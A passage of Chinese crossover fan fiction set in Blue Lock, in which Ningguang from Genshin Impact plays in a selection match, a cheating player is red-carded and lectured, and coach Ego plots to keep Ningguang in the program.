一旦真的发生什么,上面会联系家长,并我们进行面谈,决定最后是否要离开蓝色监狱。
不然我们这些人一直呆在蓝色监狱毫无音讯,家人该有多担心?而且这还是全国性质的事件,很多非业界人士都在关注好吧?”
听到这话,大家都松了一口气。
山下有水哼了一声:“就这?”
蚁生:“……”
“当然不止。”他目移,刚刚就是一个开胃菜。
时光青志都说了字很多了,怎么可能就这么点?
田中有梗焦急道:“还有什么?”
“会有拍摄我们的摄像头,以后在外面离开蓝色监狱后会邮寄给我们。”蚁生接话。
众人满眼不解。
“也就是说,黑历史都是高清的。”
另一个休息室,凝光也在讲解合同。
大家的眼中带着清澈的愚蠢:“什么意思?”
“大家的想法都是会变的,人甚至不能共情不同时期的自己。”
凝光嘴角带笑:“或许以后的你们看到现在的录像,会觉得很羞耻。就好像小时候喜欢的东西,现在不喜欢了,甚至还不理解为什么当初的自己会喜欢。”
顺便一提,合同的这个条款是他拟定的,而且他就是故意的。
“不能理解。”有人举手。
凝光也没有强迫他们必须理解,只是按照自己的节奏道:“没关系,就是提醒一下各位,蓝色监狱中到处都是摄像头,只
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有更衣室、洗澡堂之类的地方没有。”
换言之,这个休息室里也是有的,别给他想些有的没的。
凝光边说边扫视众人,却在某些人的身上有些许停顿。
要说他为什么突然在这种时候提起合同的事情,自然是因为他发现有人有了小心思了。
佐藤、斋藤、伊藤,这三条藤蔓看起来是想要攀附上别的树木了。
他本来是想早点找个时间说一下的,可是没想到一拖就拖到了现在,又怕他们之后会搞事情,才借着合同的事提醒的。
三人心下一紧,不自觉地对视一眼。
凝光满意地点点头。
昨天晚上,在工作室回去房间路上,他听到了细碎的声音。
“喂,你看到了吗?”
“啊,看得清清楚楚啊。”
“怎么说?我们现在怎么办?”
“就是啊,本来想抱着系师凛的大腿过这一关的,可是现在看看,根本不行啊!”
“就是说啊,他只跟那人一起行动,要不试试那个人?”
“……其实也是一种办法,不过我们要是现在还这样的话,之后肯定会被淘汰的。”
“是啊,我赞同,之后我们先试试看,只要我们能帮到他,一定可以的……”
……
再之后的事情,凝光就没有听到了,他并没有刻意停留。
现在想起这件事,凝光心中也很是不解。
这栋楼还有比系师凛更强的选手吗?他怎么不知道?
算了,这也不是什么很重要的事情,他之后盯一下就好了。
“这样啊,好,多谢了,之前签合同的时候都没有注意。”有人点头:“对了,下半场我们怎么打,还是跟上半场一样吗?”
比起合同与未知的未来,大家还是更在意现在的比赛。
凝光回头:“不好说,凛,你的体力怎么样?”
“对比你来说,不是很好。”系师凛面不改色。
凝光点头:“嗯,那就是不能按照上半场那样了。”
时光青志的体力很好,这是他的优势,而系师凛在这方面是稍有逊色的。下半场的比赛要是还按照上半场的来打,那么系师凛肯定会因体力不支露出破绽。
“有一说一,这是个团队比赛,下半场就稍微打得像一点团队赛,而不是1v1怎么样?”凝光思考半晌说道。
无他,因为他发现,自己来到这里后,似乎就没有打过很正经的团队赛?
第一场勉强算是,可因为实力差距太大,他根本没有啥体验。而如果不趁现在好好适应,之后的对手肯定会更强。
他打算在蓝色监狱走下去了,也不准备就这样被人打爆离开。
然而面对这个提议,众人却是面面相觑,并没有立刻回应。
要是在蓝色监狱之外,那他们肯定会接受。可这里是蓝色监狱,这里奉行的是「自私」。
他们或许会聚集在强大之人的身边,可那也只是为了吞噬对方。很多人并不是靠着合作走下去,而是他们足够强大,甚至能撑起一个队伍,才看不出其中没有合作带来的问题。
佐藤健真左右看看:“咳咳!”
觉得这就是自己表现的机会了。
“要我说,凝光说的也没有错吧?”他夸张地吸引了众人的注意力。
伊藤健次眼睛一亮:“就是说啊,大家要是一直习惯了这样,等以后离开了这里,还能融进团体吗?”
“没错!我们前锋是要进球没错,可真的抛弃自我又怎么生存下去?赛场上可以是只知道进球的怪物,下了赛场我们还是人啊!不要被那家伙的大饼给蒙蔽双眼啊!”斋藤香树也道。
凝光见状不知为何有一种不好的预感。
这三人的新大树,不会就是他吧?!
25.第一次选拔赛(6)
凝光又不是什么傻子,在所有人都沉默的现在,三藤蔓突兀的开口帮助,怎么看怎么有问题啊。
再一联想到之前听到的,他得出这个结论并不意外。
但问题是,为什么是他?
虽然想着称霸蓝色监狱,但是因为以前从来没有打过足球,所以对自己的实力一无所知的凝光发出感叹。
然而从第三位宿主那里回来,一直默默看着凝光的系统却有不一样的想法。
为什么凝光想要第一?
为什么凝光想要成为全球首富?
为什么凝光会有这样的执念?
为什么为什么为什么为什么?
因为不那样做,凝光就活不下去啊。
回忆着接手宿主之后,看到的相关资料,系统的拟身眼中带着人性化的苦涩。
咪咪:“凝光……裟罗……”
其实无论是凝光还是九条裟罗,他们的过去都藏有一段不为人知的阴暗历史。这些经历,就像无法抹去的烙印,深深烙印在他们的心中。
正是这些不愉快的往事,让凝光在内心深处充满了自卑感。尽管他在人前总是表现出一种自信满满的态度,但那只是他为了掩饰内心深处的脆弱而戴上的面具。
在大多数时候,凝光会选择性地忽略自己的成就,仿佛那些成就与他无关。他总是觉得不够好,总是担心自己无法达到他人的期望。
这种心理负担,使他在成功的道路上走得异常艰难,即便取得了辉煌的成绩,也难以真正感受到喜悦和自豪。
所以不够、还不够,全市、全国富豪什么的都不够。还不够让人在提到富豪时,第一时间想起他的名字。
——必须、一定、绝对得是全球才行。
系统似乎承载着无尽的哀愁,无声地叹息着,那孤独而无人能见的身影,轻轻一跃,便稳稳地落在了凝光的头顶。这一跃,不仅仅是空间的跨越,更是心灵的寄托。
这无声的叹息,背后隐藏着它深深的愿望——它渴望给予宿主们真正的自由。原因无他,只因为他们曾在现世中饱受苦难,那些刻骨铭心的痛苦如同顽石般镶嵌在他们的记忆深处。
而命运弄人,当它将死后的他们带到这个异世界时,那些痛苦的回忆并未随之消逝,反而如影随形,让他们在这个新世界中依旧无法摆脱过去的阴影。
就在系统为此苦恼之际,比赛的下半场也是顺利开始了。
咪咪探头,它也是第一次真切地接触足球,之前不过就是停留在理论上。
系统望着快乐踢球的凝光,踩着奶记录着:“原来如此原来如此,理论和实践的差距那么大啊。”
例如在足球比赛中,带球撞人和恶意撞人之间的界限,以及黄牌与红牌之间的细微差别,这些都是需要亲身经历才能深刻理解的。
当一个人亲眼目睹那些因激烈竞争而做出的决策,就好比在关键时刻为了赢得比赛而主动选择被罚红牌的策略,才能真切体会到这些决策背后的复杂性和深远影响。
而恰好,在第三位宿主所经历的世界中,主线同样围绕着运动展开。不论他是否直接参与比赛,它现在详细记录下每一个瞬间,无疑能为那个世界的宿主提供极大的帮助。
此外,系统还注意到,凝光现在的状态似乎比之前更加快乐。
这是不是意味着,不上班的日子能让人心情愉悦?亦或是参与足球比赛本身就能带给人快乐?
这种变化让统感到困惑,因为在过去的日子里,这一点并未被明显察觉。
啊啊,人类的情感真是错综复杂,让人难以捉摸。
不过这种多样性,也正是人类魅力的一部分,是系统在不断探索和尝试理解的课题。
在系统的严密监控之下,仍有一些细微的变化被悄然忽视,那些被创造者有意隐藏在深层的秘密,正如同心脏的核心部位,正在无声无息地经历着一场潜移默化的变革。
这个部位,仿佛是整个系统中最隐秘的角落,却承载着最关键的改变,它一点一滴地积累,好像在逐步重塑着整个系统的面貌。
想来在未来的什么时候,系统身上会出现新的令人震惊的变化。
与此同时。
在模拟宇宙系统的角落中,一位沉浸在奇异景象中的面具仔,正饶有兴致地观察着一只憨态可掬的浣熊追逐蝴蝶的趣味画面。
然而,令人意想不到的是,这场追逐戏码竟出现了戏剧性的反转——那只轻盈飘逸的蝴蝶突然展开翅膀,巧妙地反击了狂追不舍的浣熊,将其打了个措手不及。
面具仔笑嘻嘻地望着却不准备出手,祂可是分得清阿基维利和小浣熊的。
突然,祂像是感知到什么似的心念一动。
祂之前创造的小东西,成长升维进度似乎很不错啊?
看来以后还能再尝试一些新奇的东西了,毕竟没有阿基维利的星穹列车一点意思都没有,星核精倒是勉勉强强提供一些乐子。
那些是人才,也有乐子没错,可是不够、还不够啊,甚至没有让祂想要再次化名混进星穹列车的想法。
不过那个小东西的底层MOD(模组)跟这个世界有所冲突,暂时是不能带到这个世界的,在那之后制造的另一个小东西也是同理。
嗯……果然想要进入这个世界的话,还是要跟这个世界的存在挂钩吗?要不祂也找个机会让可爱的小浣熊测试一下?
祂很大方的,1.6w星穹,总共100连抽,有一个小保底,如何?
面具仔盯着浣熊看了好一会儿,最终决定登场——
“啊哈哈哈哈哈哈——”
“成了!我成了——!”
山下有水大笑着。
屏幕上赫然是1:3。
无疑,在这下半场的比赛中,蚁生十兵卫他们的队伍进球了。
而那进球者,就是山下有水。
但是……
“山下有水,罚红牌,下场。”
绘心甚八冰冷的声音响起。
山下有水的笑僵在了脸上。
他大喊大叫着:“为什么?!我没有违规——!”
在日常生活中,有那么一种人,他们在内心感到不安和心虚时,说话的声音反而会不自觉地增大。这种表现,仿佛是内心深处的一种自我暗示,他们认为声音的增大能够为他们带来更多的勇气和力量
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。
就好像惧怕黑暗的人,在无声的夜晚中独自面对黑暗,认为大声说话可以驱散内心的恐惧,给自己壮胆。
山下有水,无疑就是这样的人。
而监控室内的绘心甚八没有立刻回答,他的表情异常严肃。尤其是在帝襟杏里看来,那脸色是相当得难看啊。
很快,绘心甚八推推眼镜,将一张张记录山下有水违规行为的照片,通过投影仪投射在了赛场的墙面上。每一张照片都清晰地捕捉到了山下有水的作弊瞬间,证据确凿,不容置疑。
他之前一直在搜集这些证据,没想到在他整理完毕之后,山下有水竟然还进了一球。考虑到进球是事实,而且山下有水在进球方面一直表现得非常严谨,没有违规行为,所以这一球被判定为有效进球。
然而,这并不能掩盖他的违规行为。
山下有水这个人,还是逃脱不了被罚红牌的命运。
“很可惜,如果你配合的话,我本来是不准备将这些放出来的。”绘心甚八杀人诛心般说着。
他的蓝色监狱,虽然追求的是个人的「自私」,但那也需要依靠真实的硬实力,而不是这些见不得光的作弊手段。
蚁生冷声道:“真是一点都不osya啊。”
他其实对此并不感到意外,毕竟他早已看穿了山下的那些违规动作。
在他眼中,这些动作简直就像是暴露在阳光下的细菌,无处藏身。更不用说,还有无处不在的监控设备,更是让山下的作弊行为无所遁形。
其实他就是在刚刚的休息室中,听到了那番大胆的话,预料到可能有人会走上歧途,于是才提醒众人的。
毕竟他很清楚,这是团队比赛,一个人犯的错必然会放大到整个团体。所谓的「自私」,在违规面前也必须让步。
可是山下有水似乎对此毫不在意,又或者是他始终自信自己的行为足够隐蔽,不会被任何人发现。
然而,事实终究会揭露一切,山下的违规行为,终究还是被揭露在了众人面前。
面对那铁一般确凿的证据,山下有水的身体不由自主地僵住了。他的双瞳孔剧烈地收缩,仿佛被那证据的死死盯住,无法逃脱。
在这一刻,他内心深处的防线几乎要崩溃,他真的很想放声大哭,抱头痛哭,以此来宣泄内心的恐惧和无助。然而,他之前的体检结果,就像一把锐利的刀子,彻底打散了这个想法的可能性。
如果他是为了队伍的利益,而不得不被发出红牌,那么他还可以想方设法为自己辩解,至少在表面上还能保持一点尊严。但问题是,明眼人都看得出来,他现在的结果纯粹是为了自己的私利。
这会使得他的辩解显得苍白无力,甚至听上去完全就是狡辩,从而加重他的过错。
这样公开的惩罚,就像一场羞辱的仪式,将山下有水置于众目睽睽之下。那种羞耻感如同潮水般涌来,瞬间就将他淹没。
山下有水颤颤巍巍地低喃:“别……别那样看着我……我,我进球了啊……”
在他看来,所有人都在鄙视地望着他。
此时此刻,他的心中充满了绝望和无助,仿佛整个世界都在与他为敌。
26.第一次选拔赛(7)
“啪——”
凝光拍手,吸引了众人的注意。
随即他轻咳一声道:“在刚刚结束的比赛中,虽然你成功地将球射入了球门,为自己的队伍赢得了关键的分数,但你同样犯了一个无法忽视的错误——你的作弊行为已经板上钉钉。
那一刻,你或许沉浸在进球的喜悦中,可现在,公开处刑的羞耻感让你难以接受。
不过这也是一种好事,至少你对此还会觉得羞耻,而不是沾沾自喜,当然作弊也不是什么好事情。
所以,请你牢牢记住现在的这种感觉,带着这份羞耻感继续前行。
你应该将目光投向未来,不断努力,让自己变得更加出色。要让那些曾经轻视你的人对你投来敬佩的目光,让他们见识到你的真实实力。
但请务必铭记,这一切的改变和提升,都必须建立在扎实的硬实力基础之上。不是靠投机取巧,不是靠不正当的手段,而是通过汗水和努力,一步一个脚印地提升自己。
在今后的日子里,当你再次踏上赛场时,你要将这份羞耻感化作动力,用它来警醒自己,时刻保持清醒的头脑和正直的品格。只有这样,你才能真正赢得他人的尊重,也才能让自己的未来更加光明。
最后强调,硬实力,才是你通往成功的坚实桥梁。”
当事人山下有水嘴唇不断张合,最后却是一句话都说不出来,只是红了眼眶。
“啪啪啪——”
时光青志不自觉地鼓掌。
当他对上蚁生十兵卫看傻子的眼神时,才反应过来自己在做什么。
他红着脸,忍不住为自己辩解:“就是很厉害啊,我就说不出这样的话来。”
时光青志心中一直有着清晰的认知,他深知在如今这个推崇「自私」为信条的蓝色监狱中,凝光是个异类。他是那里少数几个坚持团队合作理念的人,这份坚持并非仅仅停留在口头和想法上,凝光更是将其付诸于行动之中。
尤其是即便在这个时刻,当所有人都选择冷眼旁观,对山下有水的困境置若罔闻时,凝光也没有随波逐流。他选择了另一条道路,一条更为艰难却充满希望的道路。他没有对困境中的山下有水视而不见,也没有落尽下石,甚至是为他指引了一条全新的出路。
“你不是也知道吗?”时光青志小声嘟囔,暗示地看了一眼监控。
绘心甚八在最初就明确指出,那些离开蓝色监狱的人,他们的一生都将与国家队无缘。这样的规则,如同铁律一般,深深烙印在每个成员的心中。如果将来有人试图将这个不可逆转的过错归咎于凝光,那么其引发的后果将不堪设想。
毕竟,被逼入绝境的人,往往会失去理智,做出一些极端的事情——或是贬低污蔑,或是直接动手。这种心理状态,是任何人都无法轻易理解的。因此,当未来的凝光面临这样的指责时,他的境地无疑是异常艰难的。
这也是为什么在场的人先前选择保持沉默的原因。
他们的沉默,既是本就不认同山下有水的做法,又是担心山下有水误解他们的安慰。
所以时光青志深知,现在凝光做的事情真的很了不起。
其他人或许不懂,可他一直都是消极的性子,刚刚也是无意识地带入了山下有水,所以他真切感受了心灵的冲击。
这么说吧,其实他的缺陷真的很大。或许在旁人看来,他的消极只是偶尔的情绪波动。然而事实上,那种消极的情绪如同他的影子,与他形影不离,于是就出现了他不自觉带入的情况。
那一刻,他的内心真的充满了绝望。
仿佛在一瞬间,他看到了自己的人生失去了所有的希望,仿佛四周的人们都在对他投来轻蔑的目光,那种被鄙视的感觉让他无法呼吸。在他的眼中,那些人就像是一群怪物,而他,就像是一只即将坠入悬崖的小鸟,无助又绝望。
就在这个时候,凝光的出现,就像一束明亮的光芒划破了他内心的黑暗。
啊,那一刻,他仿佛看到了希望的光芒,那种感觉,如同黑暗中的繁星,照亮了他的世界。
时光青志心中充满了感慨,他悄悄地将目光投向了山下有水。他只是短暂地代入了一下,就有了如此强烈的感受,他无法想象,当事人山下有水在面对那些困境时,内心会是怎样的挣扎和痛苦,听到凝光那番话是又该有多么的激动。
当然,凝光的话确实一针见血。
这一切争议的根源,无疑还是在山下有水的身上——是他先在比赛中采取了不正当的手段,这无疑是对公平竞争原则的严重践踏。
正如人们常说的,“可怜之人必有可恨之处”。尽管现在山下的处境令人同情,但他们不能因此就忽视了他作弊的事实。无论他现在的境遇如何凄凉,这个污点始终如影随形,提醒着他们有些错误是永远无法抹去的。
所以有些话就如凝光所言,只能点到为止,不宜过多展开。
蚁生一愣,他莫名get到了时光青志的意思。
“也是。”他若有所思地看向凝光。
这得的可是他们队伍的分数,撕开的可是凝光队伍的口,即便在这样的情境下,他仍旧能够保持如此的谈吐。
或许,这一切都是他刻意为之的伪装,又或者,这本身就是他的真实面目。
可不论是哪一种可能,都足以证明凝光是一个不容小觑的存在。他的能力,他的气度,都让人不禁对他刮目相看。
然而,问题也随之而来,这样一个人物,为何会出现在蓝色监狱这样的地方?
——他的气质、他的举止,无一不透露出他出身上流,甚至可能是未来要继承庞大家业的继承人。
这一刻,蚁生和系师凛都有了一样的想法。
绘心甚八冰冷开口:“闹剧到此为止,山下有水,现在立刻下场。”
“如果你不想后续的比赛都无法出场,那么你可以继续耗着。”
屏幕上的计时早已暂停,可这也不是山下有水浪费时间的理由。整个蓝色监狱那
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么多人,那么多场比赛,每人浪费一点时间,不就是在浪费生命吗?
“我知道了。”山下有水的心情如同被凉水浇灌过的岩石,逐渐冷静了下来。
他深深地吸了一口气,让那股清新的空气填满胸腔,然后缓缓地走向那熟悉而又陌生的来时路。
这条道路,曾是他无数次挥洒汗水的战场,是他凭借自己的努力和才华,一步步走出来的荣耀之路。它见证了他从一名默默无闻的孩童,成长为令队友信赖、对手敬畏的足球健将,从而站在如今的蓝色监狱。
在他眼中,那曾是让他骄傲的,让他可以昂首挺胸,面对风雨的道路。
然而,此刻的他,心中充满了复杂的情绪。
因为他刚刚险些亲手断开那条路。
他渴望胜利,渴望站在世界的舞台上,向全世界展示自己的才华,与他们打招呼。
但,他更清楚,胜利的果实不能以作弊的方式来摘取,至少不能让全世界的人用这种方式记住他。
站在门前的那一刻,山下有水停下了脚步,他没有回头,却用尽全力大声喊出:“谢谢——!”
这声感谢,既是对凝光的回馈,是对队友的歉意,也是对自己曾经的错误和迷茫的告别。
然后,他像是摆脱了所有的束缚,如同脱缰的野马,迅速冲向了门外,去追寻一个真实、干净的足球梦想。
凝光轻笑,看呐,大家其实都是好孩子,只是少年人更为冲动,需要一点指引。
【呜呜呜——真是太感人了。】
突兀且诡异的的机械音在头上响起。
凝光脚下一个踉跄,差一点儿帅不过三秒的踹倒在地。
他问道:【系统?】
【啊,抱歉,没想打扰你的。】系统这才发现自己不小心说出声了,还好只有凝光能听得见。
它立刻道:【我这就匿,这就匿,你好好打比赛。】
凝光本来想说的话就这么被卡在了喉咙里,他想了想也觉得不是什么很重要的事情,于是摇摇头就没有说,只是站回了自己半场。
然后,他看了眼系师凛。
系师凛面无表情地移开了视线,显然在说让凝光别管。
别管什么?
当然是别管蚁生队伍的麻烦事。
这一轮选拔赛是没有替补的,而且被罚红牌下场的队伍也不能让替补上场,完全就是天然少一人的状态。
也就是说,本来就处于劣势了,还要十人跟十一人打。就战术上来说,蚁生队伍肯定是需要重新安排的。
可是绘心甚八肯定是不会给他们这个机会,于是凝光就想着要不要稍微拖延一下时间,毕竟单方面的暴打是一点成就感都没有的。
在系师凛拒绝后,凝光也没有再尝试了。谁让两支队伍现在是对手呢,他真的已经仁至义尽了。
甚至是再这样下去,估计就要被人嘲讽是圣父(贬义)的地步了。
凝光:我自嘲了就不能骂我了哦~
27.第一次选拔赛(8)
不过出乎凝光意料的是,蚁生十兵卫等人的队伍,战术暂且看不出来,但是站位上是没有很大变动的。
就好像对他们来说,多山下有水一个不多,少他一个不少。
系师凛擦肩而过,只留下淡淡一句话:“把你鸟妈妈的心态收收,走到这一步的人,远比你想象中更加坚强。”
说凝光是鸟妈妈还是他说轻了,实际上他看凝光是觉得对方有点高高在上的意味的。当局者迷、旁观者清,凝光嘴上说着要团结合作,也看似和众人和睦相处,实际上他比他更没有融进这个集体,也更加格格不入的。
系师凛敛眸。
凝光对此一无所知,只是心头一震。他认为可能还是原著中,一部分人绝望的样子影响到了他。
“他们是对手,怎么给予他们尊重,你应该比我更懂。”
系师凛的话语消散在风中,而凝光也回了神。
是啊,他应该明白这些事的。
啊啊,没想到,被一个比自己年纪小了那么多的人提醒,他可真没有面子啊?
凝光在自己的位置上站定,眼神变得凌厉。
“哔——”
广播中响起哨声。
“砰——”
时光青志开球。
蚁生发挥了自己大长腿的优势,第一时间如箭般极速冲了出去。
他就好像在低空飞行一般,超出了所有人的预期,包括绘心甚八。
有人惊呼:“什么?!”
“开什么玩笑,这是开挂吧?!”另一人接话道。
蚁生有没有开挂没人知道,但是大家觉得凝光肯定是开挂了的。
面对这样的蚁生,凝光和系师凛都反应了过来,这还算正常,可是下一瞬凝光就追上了!
“喂喂喂,开玩笑的吧?”蚁生带球跑的同时低喃。
这是什么鬼速度啊?就算球本就离他们的球网更近,也不可能这么快吧?!
“果然是怪物吗?!”
之前就隐隐有这个感觉的众人纷纷想到。
蚁生不断地做出假动作,想要突破凝光的防守:“你的速度又快了。”
“你不也是?”凝光轻笑。
他对假动作并不熟悉,也不怎么会分辨,可是只要他的速度足够快,就能够把真假动作全部都拦下!
蚁生无论如何都过不去,他咬牙道:“这是我的极限,可并不是你的。”
一看凝光那样子,就知道他还游刃有余,真是让人嫉妒啊!
“凛说,要给你们尊重。确实,这提醒到我了。”凝光轻声道:“先前没有全力以赴,确实对你们很不尊重。”
他之前只是在玩而已,而这就是对比赛、对对手最大的不尊重。
尤其是他的对手是少年人,不被尊重只会让他们更加不满。
蚁生低低地骂了一声,不由得看向凝光没有排名的左手:“你这……也太超标了吧?!你的初始排名到底是多少啊!”
所有人在进入蓝色监狱之后,都是有一个初始等级的,那也是他们衡量对手的一个标准。
可凝光身上却没有,就好像在提醒他们其对不同。
关于这一点,蚁生一开始还没有感觉,只以为可能是凝光故意隐藏起来了。
可现在,他却有了一个不一样的想法。
毕竟凝光那家伙和他们的相处,就好像在一群只有10级的菜鸟中,突然出现了一个50级的大佬一样!
碾压的胜利。
大佬一个平A就是他们这群菜鸡大招的伤害。
完全就是炸鱼啊——!
这么想着,蚁生不由得看了一眼系师凛。
这家伙知道自己做了什么吗?
他放出来的,可是恶魔啊!
“这……这个实力……他,他与国家队的人都不相上下吧?”
监控室中,帝襟杏里颤颤巍巍地说着。
绘心甚八推了推眼镜:“你对他的评价太高了,他现在还打不过,毕竟他只是一个初学者。”
初学者。
一个刚刚接触足球的存在。
可也正是因此,才让人觉得恐怖啊的绘心先生!
帝襟杏里在内心尖叫着。
她思考道:“主要是这样的话,其实对战对双方来说都没有什么用处吧?”
凝光的实力太强了,而蚁生他们进入蓝色监狱没多久,实力上并没有提升多少,这样一来对战真的有什么必要?
在游戏中有需要先升级再打BOSS呢,现在的蚁生他们就相当于是跳过了这个阶段。
“有,当然有。”绘心甚八眯眼,“被凝光的一举一动蒙蔽了双眼,从而使得你一直忽略了一个重点。”
他指尖有节奏地点着桌面:“我再强调一遍,凝光只是一个初学者。”
“他对足球的规则是这两天才记在脑子里的,他对足球的踢法也是这两天才学会的,然而他始终没有融会贯通。”
“如果是我的话,我会引导他犯规。”绘心甚八淡淡道。
帝襟杏里吃惊道:“什么?!”
她听到了什么?!
这对吗?这是一个正经教练应该说的话吗?!
“有些卑鄙,但不是作弊。更何况如果真的能做到的话,可以重点培养。”绘心甚八勾唇,不甚在意地说着。
凝光可是成为首富的人,他记下的规则比大多数人吃的盐还多。毕竟他身处那个位置,不知道有多少人想要钻空子将其拉下来。
记忆规则几乎成了他本能一样的事情,所以要是真的有人能够引导这样的凝光犯规,那不得不说他是一个人才。
接着绘心甚八又指向监控中的凝光:“当然,除此之外,你没有发现吗?所有人都在试图跟上凝光前进的步伐。”
在发出邀请之前,综合考虑之后,他本来是打算让系师凛成为蓝色监狱众人前进的标杆的,于是他衣服上的初始等级就是第一。
同时在他和凝光难得达成一致的想法中,凝光这个大忙人不会在蓝色监狱中呆太久,所以凝光的衣服上才没有排名。
——注定要离开的人,也就不需要什么排名。
结果万万没有想到,凝光不知道为什么,突然有了干劲,不准备离开了。
甚至还打乱了他一开始的计划。
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现在系师凛第一的位置已经被动摇了,每一个与凝光对战过的人,都会理所当然地认为凝光是第一。
“呃……好像是?”帝襟杏里凑近屏幕,眯眼说道。
此时此刻,球正在凝光脚下。
按照绘心甚八的理念,就是他的队友想要吞噬凝光变得强大,他的对手也想要吞噬他更进一层楼。
绘心甚八双手合十:“凝光的光芒谁都遮不住,所以毋庸置疑,现在的凝光,就是蓝色监狱前进的标杆。”
“你知道吗?凝光就是太阳啊。
他在吸引着无数人关注的同时,又被他们视作眼中钉。因为其他人也想要,成为那唯一的一个太阳。”随即他张开双臂,又缓缓聚拢,仿佛在托举什么一样。
绘心甚八的眼中充斥着病态的黑钱,不断有序转圈地汇聚成不同的圆圈。
帝襟杏里不自觉地后退一步。
杏里:我常常因为自己不够变态,而显得与你们格格不入。
“记住,太阳,只能有一个。
就如同蓝色监狱的理念那般,最后只会有一个胜利者——!”
绘心甚八重复道,在眼中的黑钱消散之后,其中闪耀着的,是发现未打磨的钻石的欣喜。
毫无疑问,现在的凝光是蓝色监狱不可缺少的一份。只有他在蓝色监狱,才能最大限度地激发其他人的潜力。
毕竟在面对同一座高山的时候,庸才会选择避开,而天才会选择征服。
凝光正是那高山——!
吞噬、吞噬、吞噬、吞噬吞噬吞噬吞噬吞噬吞噬吞噬——!
吞噬他人,让自身强大吧——!
成为世界第一的前锋吧——!
帝襟杏里思考了一瞬,小心地提醒:“呃……我记得凝光先生,好像就是投资人?”
一定要说的话,投资人其实不能算是Blue Lock的选手。凝光只是来自己投资的项目中玩玩,想要离开的话随时都可以,甚至不需要经过绘心甚八的同意。
就算绘心甚八用强硬地手段,阻隔凝光与外界的联系,在失联的24小时后,璃月集团就会冲进蓝色监狱。
如果绘心甚八选择伪装凝光的口吻联系璃月集团,那估计也是很快就会暴露的。毕竟凝光的联系就是处理公务,而绘心甚八根本不会这些。
绘心甚八:“……”
“帝襟小姐,你其实可以适当安静的。”
在帝襟杏里的提醒下,绘心甚八显然也是回忆起了这件事。他脸上的狂喜陡然褪下,大喜大悲使得他都进入了贤者模式。
帝襟杏里目移。
“不,仔细想想你说的也对啊。”绘心甚八摸摸下巴,阴暗道:“只要找到让他心甘情愿留下的办法不就好了?”
帝襟杏里倒吸一口凉气:“呃呃呃,这个,这个以后再说吧,现在凝光先生不是不准备离开吗?”
不知为何,她有一种不好的预感,现在还是赶紧阻止为好。
绘心甚八敛眸:“是啊,只是现在不准备……”凝光还是随时有可能离开。
他得提前做好准备了,将那个可能扼杀在摇篮之中。